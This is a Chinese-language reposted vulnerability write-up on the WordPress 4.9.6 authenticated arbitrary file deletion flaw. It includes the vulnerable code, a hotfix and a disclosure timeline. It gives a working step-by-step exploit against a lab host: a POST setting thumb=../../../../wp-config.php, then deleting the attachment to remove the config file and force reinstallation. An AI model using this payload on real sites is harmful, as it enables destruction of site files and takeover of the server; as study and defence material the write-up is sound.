WORDPRESS <= 4.9.6 任意文件刪除漏洞復現


 

 

0x01 Wordpress簡介

WordPress是網絡上最受歡迎的CMS。根據w3tech,大約30%的網站使用它1。這種廣泛的采用使其成為網絡罪犯的一個有趣目標。在這篇博文中,我們將介紹WordPress核心中經過身份驗證的任意文件刪除漏洞,該漏洞可能導致攻擊者執行任意代碼。7個月前,該漏洞已報告給WordPress安全團隊,但仍未修補。自首次報告以來已經過去很長時間沒有任何補丁或具體計划,這使我們決定將其公之於眾。

 

0x02 漏洞分析

 近日RIPS團隊 ( 作者:Karim El Ouerghemmi ) 公開了一個Wordpress的任意文件刪除漏洞(需要登錄),目前該漏洞仍然未修復(2018年06月27日),該漏洞影響 Wordpress 最新版 4.9.6.

文件wp-includes/post.php中:

 

function wp_delete_attachment( $post_id, $force_delete = false ) {
    ...
    $meta = wp_get_attachment_metadata( $post_id ); ... if ( ! empty($meta['thumb']) ) { // Don't delete the thumb if another attachment uses it. if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) { $thumbfile = str_replace(basename($file), $meta['thumb'], $file); /** This filter is documented in wp-includes/functions.php */ $thumbfile = apply_filters( 'wp_delete_file', $thumbfile ); @ unlink( path_join($uploadpath['basedir'], $thumbfile) ); } } ... }

$meta['thumb']來自與數據庫,是圖片的屬性之一。代碼未檢查$meta['thumb']的內容,直接帶入unlink函數,如果$meta['thumb']可控則可導致文件刪除。

 

文件/wp-admin/post.php中:

...
switch($action) {
...
    case 'editattachment': check_admin_referer('update-post_' . $post_id); ... // Update the thumbnail filename $newmeta = wp_get_attachment_metadata( $post_id, true ); $newmeta['thumb'] = $_POST['thumb']; wp_update_attachment_metadata( $post_id, $newmeta ); ...

$newmeta['thumb']來自於$_POST['thumb'],未經過濾直接將其存入數據庫,即上一步的$meta['thumb']可控。

 

臨時修補程序

 通過將修復程序添加到functions.php當前活動的主題/子主題的文件中,可以將修復程序集成到現有的WordPress安裝中。

add_filter( 'wp_update_attachment_metadata', 'rips_unlink_tempfix' );

function rips_unlink_tempfix( $data ) { if( isset($data['thumb']) ) { $data['thumb'] = basename($data['thumb']); } return $data; }

所提供的Hotfix所做的就是掛鈎wp_update_attachement_metadata()調用並確保為元值提供的數據thumb不包含任何可以進行路徑遍歷的部分。因此,不能刪除任何安全相關文件。

提供的修復程序最終應視為臨時修復,以防止攻擊。我們無法監督WordPress插件的所有可能的向后兼容性問題,並建議您謹慎對WordPress文件進行任何修改。

披露時間:

時間線

日期 什么
2017年11月20日 在Hackerone上向WordPress安全團隊報告了漏洞。
2017年11月22日 該漏洞由安全團隊進行分類和驗證。
2017年12月12日 要求進步。
2017年12月18日 Wordpress正在開發一個補丁。要求發布日期。沒有反應。
2018年1月9日 要求發布日期。沒有反應。
2018年1月20日 由於問題的嚴重性和缺乏溝通而被要求對Hackerone進行調解。
2018年1月24日 WordPress安全團隊估計修復時間為6個月。
2018年5月24日 被問及有關該問題的進展和/或計划,並提醒我們將盡快發布。沒有反應。
2018年5月24日 將twitter DM發送給安全團隊的成員,以確保他們不會忽略Hackerone上的消息。
2018年6月26日 該問題在報告后超過7個月未得到修補。

詳細分析可見:WARNING: WordPress File Delete to Code Execution - 

https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/

0x03 漏洞利用

條件:需要登陸后台,有點雞助

 

 

后台地址:

http://10.10.10.103/wp-login.php?redirect_to=http%3A%2F%2F10.10.10.103%2Fwp-admin%2F&reauth=1

進入后台后,點擊Media(媒體),在點擊Add New (添加)

進入到上傳文件位置

上傳好圖片以后,點擊右邊Edit(編輯按鈕)

跳轉到

http://10.10.10.103/wp-admin/post.php?post=21&action=edit

此時打開F12,搜索post.php,找到_wpnonce的值為d8efee3064

 

 然后發送post數據包 (需要帶入cookie值)

POST /wp-admin/post.php?post=21&action=edit HTTP/1.1

payload: action=editattachment&_wpnonce=d8efee3064&thumb=../../../../wp-config.php

 

發送成功會返回302狀態

此時在點擊刪除按鈕 Delete Permanently

http://10.10.10.103/wp-admin/post.php?post=21&action=delete&_wpnonce=05621e9c6b

 

 

抓包查看,也是返回302包

 

 再去網站根目錄查看wp-config.php 

發現wp-config.php (數據庫配置文件被成功刪除了)

再次訪問首頁, 會發現提示你重新安裝wordpress

影響 - 攻擊者可以做些什么

 

利用此漏洞可以使攻擊者能夠刪除WordPress安裝的任何文件(+ PHP進程用戶具有刪除權限的服務器上的任何其他文件)。除了擦除整個WordPress安裝的可能性,如果沒有可用的當前備份可能會產生災難性后果,攻擊者可以利用任意文件刪除的能力來規避一些安全措施並在Web服務器上執行任意代碼。更確切地說,可以刪除以下文件:

  • .htaccess:通常,刪除此文件不會產生任何安全后果。但是,在某些情況下,.htaccess文件包含與安全性相關的約束(例如,對某些文件夾的訪問約束)。刪除此文件將停用這些安全約束。
  • index.php文件:通常將空的index.php文件放入目錄中,以防止Web服務器無法執行此操作的目錄列表。刪除這些文件會向攻擊者授予受此度量保護的目錄中所有文件的列表。
  • wp-config.php:刪除WordPress安裝的這個文件會在下次訪問網站時觸發WordPress安裝過程。這是因為wp-config.php包含數據庫憑據,並且沒有它的存在,WordPress就像尚未安裝一樣。攻擊者可以刪除此文件,使用他為管理員帳戶選擇的憑據進行安裝過程,最后在服務器上執行任意代碼。

0x04 參考資料

https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/

https://xz.aliyun.com/t/2413

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM